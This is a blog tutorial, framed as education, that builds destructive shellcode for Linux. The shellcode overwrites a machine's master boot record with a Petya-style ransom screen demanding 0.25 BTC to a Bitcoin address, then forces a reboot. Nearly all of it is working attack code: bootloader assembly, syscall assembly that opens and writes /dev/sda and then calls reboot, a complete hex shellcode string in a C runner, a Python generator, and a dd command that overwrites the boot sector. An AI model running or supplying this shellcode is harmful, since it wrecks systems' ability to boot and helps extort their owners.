Hi!
Today we are going to have some fun with shellcoding again. I think that I am still just a script-kiddie in this topic, but why not?
Ladies and Gentlemen, today we will write our own shellcode that rewrites MBR and causes a reboot to show us some message! I remember my delight when I met the Petya ransomware for the first time, so, today we will implement something like that.
Perhaps, you can say that… This is unethical! Black-hats will read this and use this code in their operations!
And here is what I will answer you:
- My example has a list of limitations - attacker (or vulnerable application) should have root privileges to write to a block device, ‘/dev/sda’ not only possible boot device, my shellcode contains a lot of 0x00 bytes, has a very long length, etc.
- If ‘someone’ is running his services under root user… well, this is a problem of this ‘someone’ and my shellcode is the least possible problem here.
- I believe that education is the key and that is why I write this post right now - to educate people, to show them how an attacker can use root access on their systems - actually, this is my work and - mostly - life.
And - finally - if you are really going to use all this stuff in your malicious operations - go and find a girlfriend first! :D
Real Mode
Well, now we can get down to business.
The bootloader runs in the real mode and that sufficiently changes game rules. For example, there are no int 0x80
interruptions, because they are provided by the OS and - this is obvious - on the bootloader stage we don’t have OS available.
I won’t give you comprehensive info about that, but here is the code for my own bootloader:
org 0x7c00 ; address of this code in memory
bits 16 ; just 16-bit code
; set text mode
mov ah, 0x00
mov al, 0x03
int 0x10
; scroll up the screen
mov ax, 0x0600
mov bh, 0x1f
xor cx, cx
mov dx, 0x184f
int 0x10
; print message
mov bx, message
call print
; infinite loop
jmp $
print:
print_start:
mov al, byte [bx]
or al, al
jz print_ret
mov ah, 0x0e
int 0x10
inc bx
mov dx, 0x4240
mov cx, 0x01
mov ah, 0x86
int 0x15
jmp print_start
print_ret:
ret
message: db "Your device has been locked.", 0x0a, 0x0d, "Any unauthorized attempt to restore your data will lead to complete", 0x0a, 0x0d, "destruction of all information stored on your PC.", 0x0a, 0x0d, 0x0a, 0x0d, "In order to unlock your device, please, send 0.25 BTC on the listed below", 0x0a, 0x0d, "Bitcoin Wallet:", 0x0a, 0x0d, "1DXKL99n5xszuz7xbkM2jU8y27C5qG1Wet", 0x0a, 0x0d, 0x00
; Fill all space between the code and boot signature with 0x00
times 510 - ($ - $$) db 0x00
; Boot sector signature
dw 0xaa55
This code prints our extorting message to the screen and performs infinite loop to stop any further actions.
This wasn’t an easy task to find some info about BIOS interruptions like int 0x10
and int 0x15
, but these two resources helped me a lot.
If you compile this code with nasm -f bin loader.asm -o loader.bin
, you will get a 512-bytes long binary that actually is our bootloader. You can check it with dd if=loader.bin of=/dev/sda count=1 bs=512
.
Be careful! This action will rewrite your original bootloader and you will lose an ability to boot in your OS.
If you open ‘loader.bin’ with some hex-editor, you will see something like that:
german@slae-lab:~$ xxd loader.bin
0000000: b400 b003 cd10 b800 06b7 1f31 c9ba 4f18 ...........1..O.
0000010: cd10 bb32 7ce8 0200 ebfe 8a07 08c0 7411 ...2|.........t.
0000020: b40e cd10 43ba 4042 b901 00b4 86cd 15eb ....C.@B........
0000030: e9c3 596f 7572 2064 6576 6963 6520 6861 ..Your device ha
0000040: 7320 6265 656e 206c 6f63 6b65 642e 0a0d s been locked...
0000050: 416e 7920 756e 6175 7468 6f72 697a 6564 Any unauthorized
0000060: 2061 7474 656d 7074 2074 6f20 7265 7374 attempt to rest
0000070: 6f72 6520 796f 7572 2064 6174 6120 7769 ore your data wi
0000080: 6c6c 206c 6561 6420 746f 2063 6f6d 706c ll lead to compl
0000090: 6574 650a 0d64 6573 7472 7563 7469 6f6e ete..destruction
00000a0: 206f 6620 616c 6c20 696e 666f 726d 6174 of all informat
00000b0: 696f 6e20 7374 6f72 6564 206f 6e20 796f ion stored on yo
00000c0: 7572 2050 432e 0a0d 0a0d 496e 206f 7264 ur PC.....In ord
00000d0: 6572 2074 6f20 756e 6c6f 636b 2079 6f75 er to unlock you
00000e0: 7220 6465 7669 6365 2c20 706c 6561 7365 r device, please
00000f0: 2c20 7365 6e64 2030 2e32 3520 4254 4320 , send 0.25 BTC
0000100: 6f6e 2074 6865 206c 6973 7465 6420 6265 on the listed be
0000110: 6c6f 770a 0d42 6974 636f 696e 2057 616c low..Bitcoin Wal
0000120: 6c65 743a 0a0d 3144 584b 4c39 396e 3578 let:..1DXKL99n5x
0000130: 737a 757a 3778 626b 4d32 6a55 3879 3237 szuz7xbkM2jU8y27
0000140: 4335 7147 3157 6574 0a0d 0000 0000 0000 C5qG1Wet........
0000150: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000160: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000170: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000190: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001f0: 0000 0000 0000 0000 0000 0000 0000 55aa ..............U.
So, now we should write protected mode part for our shellcode that will write this bootloader into the ‘/dev/sda’ block device.
Protected Mode
This is the main part of our shellcode. We must implement SYS_OPEN, SYS_WRITE and SYS_REBOOT calls in our code. Let’s do it step by step.
SYS_OPEN
Well, nothing hard here:
pop esi
xor eax, eax
push eax
push dword '/sda'
push dword '/dev'
mov ebx, esp
mov ecx, 0x0401 ; write-only flags
mov eax, 0x05
int 0x80 ; SYS_OPEN
mov ebx, eax ; EBX stores file descriptor
The only part where I had some troubles was the flags for SYS_OPEN call. You can get the list of possible flags here: ‘/usr/include/asm-generic/fcntl.h’.
In our case 0x0401 = 0x0400 + 0x0001 = O_NOCTTY + O_WRONLY. O_NOCTTY means that our file won’t be used as TTY and won’t accept any controlling signals like SIGHUP and other. Actually, I don’t know how this can make any troubles for our shellcode, but you can see it in every file read/write shellcode or program.
Let’s take a look on the second part.
SYS_WRITE
mov ecx, esi
mov edx, 0xff ; 255 bytes to be written into /dev/sda
mov eax, 0x04
int 0x80 ; SYS_WRITE
Not so hard too. The ‘loader’ just points on our bootloader bytes, 0xff is bootloader length.
SYS_FSYNC & SYS_CLOSE
mov eax, 0x76 ; SYS_FSYNC
int 0x80
mov eax, 0x06
int 0x80 ; SYS_CLOSE
I completely forgot about this part. If you run the final shellcode without SYS_FSYNC call, you will get nothing, because all your MBR changes actually will not be applied.
Also, SYS_CLOSE call doesn’t matter, but we are a nice guys and will always close file descriptors after work, aren’t we? :)
SYS_REBOOT
Actually, here is another way to cause system reboot. We can use SYS_EXECVE to call ‘reboot’ program that makes all necessary stuff for us. But I was interested in another way - implementing reboot via native syscall.
And I found suitable one! SYS_REBOOT allows us to force reboot system. Here is the nasm code:
mov ebx, 0xfee1dead ; magic number 1
mov ecx, 0x28121969 ; magic number 2
mov edx, 0x1234567 ; LINUX_REBOOT_CMD_RESTART command
mov eax, 0x58
int 0x80 ; SYS_REBOOT
Can’t say that it was easy. There is some pure magic in this syscall - magic numbers 1 and 2. You can read more about them here.
Ok, let’s see the whole picture:
global _start
section .text
_start:
jmp loader
body:
pop esi
xor eax, eax
push eax
push dword '/sda' ; device to rewrite boot record
push dword '/dev'
mov ebx, esp
mov ecx, 0x0401 ; write-only flags
mov eax, 0x05
int 0x80 ; SYS_OPEN
mov ebx, eax ; EBX stores file descriptor
mov ecx, esi
mov edx, 0x200 ; 512 bytes to be written into /dev/sda
mov eax, 0x04
int 0x80 ; SYS_WRITE
mov eax, 0x76 ; SYS_FSYNC
int 0x80
mov eax, 0x06
int 0x80 ; SYS_CLOSE
mov ebx, 0xfee1dead ; magic number 1
mov ecx, 0x28121969 ; magic number 2
mov edx, 0x1234567 ; LINUX_REBOOT_CMD_RESTART command
mov eax, 0x58
int 0x80 ; SYS_REBOOT
loader:
call body
db 0xAA, 0xBB, 0xCC ; paste your loader here
There are some problems with ‘objdump’ and bootloader disassembly, so, I compiled this version (with 0xAA, 0xBB, 0xCC instead of proper bootloader), created the shellcode with an ‘objdump’, and pasted bootloader bytes instead of 0xAA, 0xBB, 0xCC.
This allowed me to create proper working shellcode and launch it from specially crafted C-program.
Generator
Here is a code of executor program with embedded shellcode:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"\xeb\x52\x31\xc0\x5e\x31\xc0\x50\x68\x2f\x73\x64\x61\x68\x2f\x64\x65\x76\x89\xe3\xb9\x01\x04\x00\x00\xb8\x05\x00\x00\x00\xcd\x80\x89\xc3\x89\xf1\xba\x00\x02\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\xb8\x76\x00\x00\x00\xcd\x80\xb8\x06\x00\x00\x00\xcd\x80\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xb8\x58\x00\x00\x00\xcd\x80\xe8\xa9\xff\xff\xff\xb8\x03\x00\xcd\x10\xb8\x00\x06\xb7\x1f\x31\xc9\xba\x4f\x18\xcd\x10\xbb\x31\x7c\xe8\x02\x00\xeb\xfe\x8a\x07\x08\xc0\x74\x11\xb4\x0e\xcd\x10\x43\xba\x40\x42\xb9\x01\x00\xb4\x86\xcd\x15\xeb\xe9\xc3\x59\x6f\x75\x72\x20\x64\x65\x76\x69\x63\x65\x20\x68\x61\x73\x20\x62\x65\x65\x6e\x20\x6c\x6f\x63\x6b\x65\x64\x2e\x0d\x0a\x41\x6e\x79\x20\x75\x6e\x61\x75\x74\x68\x6f\x72\x69\x7a\x65\x64\x20\x61\x74\x74\x65\x6d\x70\x74\x20\x74\x6f\x20\x72\x65\x73\x74\x6f\x72\x65\x20\x79\x6f\x75\x72\x20\x64\x61\x74\x61\x20\x77\x69\x6c\x6c\x20\x6c\x65\x61\x64\x20\x74\x6f\x0d\x0a\x63\x6f\x6d\x70\x6c\x65\x74\x65\x20\x64\x65\x73\x74\x72\x75\x63\x74\x69\x6f\x6e\x20\x6f\x66\x20\x61\x6c\x6c\x20\x69\x6e\x66\x6f\x72\x6d\x61\x74\x69\x6f\x6e\x20\x73\x74\x6f\x72\x65\x64\x20\x6f\x6e\x20\x79\x6f\x75\x72\x20\x50\x43\x2e\x0d\x0a\x0d\x0a\x49\x6e\x20\x6f\x72\x64\x65\x72\x20\x74\x6f\x20\x75\x6e\x6c\x6f\x63\x6b\x20\x79\x6f\x75\x72\x20\x64\x65\x76\x69\x63\x65\x2c\x20\x70\x6c\x65\x61\x73\x65\x2c\x20\x73\x65\x6e\x64\x20\x30\x2e\x32\x35\x20\x42\x54\x43\x20\x6f\x6e\x20\x74\x68\x65\x20\x6c\x69\x73\x74\x65\x64\x20\x62\x65\x6c\x6f\x77\x0d\x0a\x42\x69\x74\x63\x6f\x69\x6e\x20\x57\x61\x6c\x6c\x65\x74\x3a\x0d\x0a\x31\x44\x58\x4b\x4c\x39\x39\x6e\x35\x78\x73\x7a\x75\x7a\x37\x78\x62\x6b\x4d\x32\x6a\x55\x38\x79\x32\x37\x43\x35\x71\x47\x31\x57\x65\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55\xaa";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
This works fine, but this is absolutely uncustomizable. That is why I decided to build generator script.
I compiled both of asm programs, created shellcodes and pasted them into this python script. Here is a result:
mbr_loader = ""
mbr_loader += "\xb8\x03\x00\xcd\x10\xb8\x00\x06\xb7\x1f\x31\xc9\xba\x4f\x18\xcd"
mbr_loader += "\x10\xbb\x31\x7c\xe8\x02\x00\xeb\xfe\x8a\x07\x08\xc0\x74\x11\xb4"
mbr_loader += "\x0e\xcd\x10\x43\xba\x40\x42\xb9\x01\x00\xb4\x86\xcd\x15\xeb\xe9"
mbr_loader += "\xc3"
mbr_message = "Your device has been locked.\r\nAny unauthorized attempt to restore your data will lead to\r\ncomplete destruction of all information stored on your PC.\r\n\r\nIn order to unlock your device, please, send 0.25 BTC on the listed below\r\nBitcoin Wallet:\r\n1DXKL99n5xszuz7xbkM2jU8y27C5qG1Wet"
mbr_trailer = "\x00" * (510 - len(mbr_loader) - len(mbr_message)) + "\x55\xaa"
mbr = mbr_loader + mbr_message + mbr_trailer
writer = ""
writer += "\xeb\x52\x31\xc0\x5e\x31\xc0\x50\x68\x2f\x73\x64\x61\x68\x2f\x64"
writer += "\x65\x76\x89\xe3\xb9\x01\x04\x00\x00\xb8\x05\x00\x00\x00\xcd\x80"
writer += "\x89\xc3\x89\xf1\xba\x00\x02\x00\x00\xb8\x04\x00\x00\x00\xcd\x80"
writer += "\xb8\x76\x00\x00\x00\xcd\x80\xb8\x06\x00\x00\x00\xcd\x80\xbb\xad"
writer += "\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xb8\x58\x00"
writer += "\x00\x00\xcd\x80\xe8\xa9\xff\xff\xff"
writer += mbr
shellcode = ""
for b in writer:
shellcode += '\\x%02x' % ord(b)
print '"' + shellcode + '";'
The mbr_loader
is a bootloader itself that prints the message (mbr_message
) on the screen. The writer
is a part that writes loader into MBR. Together it gives us full shellcode that rewrites MBR and extort our ransom.
Conclusion
Shellcoding is awesome and allows you to create awesome things. To see what happens with real machine where this shellcode is executed, I created this demo:
All code is located here.
Good Luck!
The end